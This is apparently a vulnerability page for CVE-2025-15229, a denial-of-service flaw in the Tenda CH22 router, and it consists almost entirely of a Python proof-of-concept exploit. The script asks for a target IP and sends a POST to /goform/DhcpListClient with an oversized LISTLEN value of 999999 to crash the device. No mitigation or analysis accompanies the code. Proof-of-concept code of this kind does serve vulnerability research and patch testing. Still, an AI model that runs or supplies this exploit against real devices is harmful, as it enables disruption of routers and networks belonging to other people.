CVE-2025-15229 Tenda CH22 路由器 DhcpListClient 拒绝服务漏洞

import requests # CVE-2025-15229 PoC - Tenda CH22 DhcpListClient DoS # Target: Tenda CH22 router # Vulnerability: Buffer handling issue in /goform/DhcpListClient target_ip = input("Enter target IP: ") url = f"http://{target_ip}/goform/DhcpListClient" # Send malicious LISTLEN parameter to trigger DoS payload = { "fromDhcpListClient": "1", "LISTLEN": "999999" # Excessive value causing DoS } print(f"[*] Sending malicious request to {url}") print(f"[*] Payload: LISTLEN={payload['LISTLEN']}") try: response = requests.post(url, data=payload, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print("[*] Target may be affected. Check router availability.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")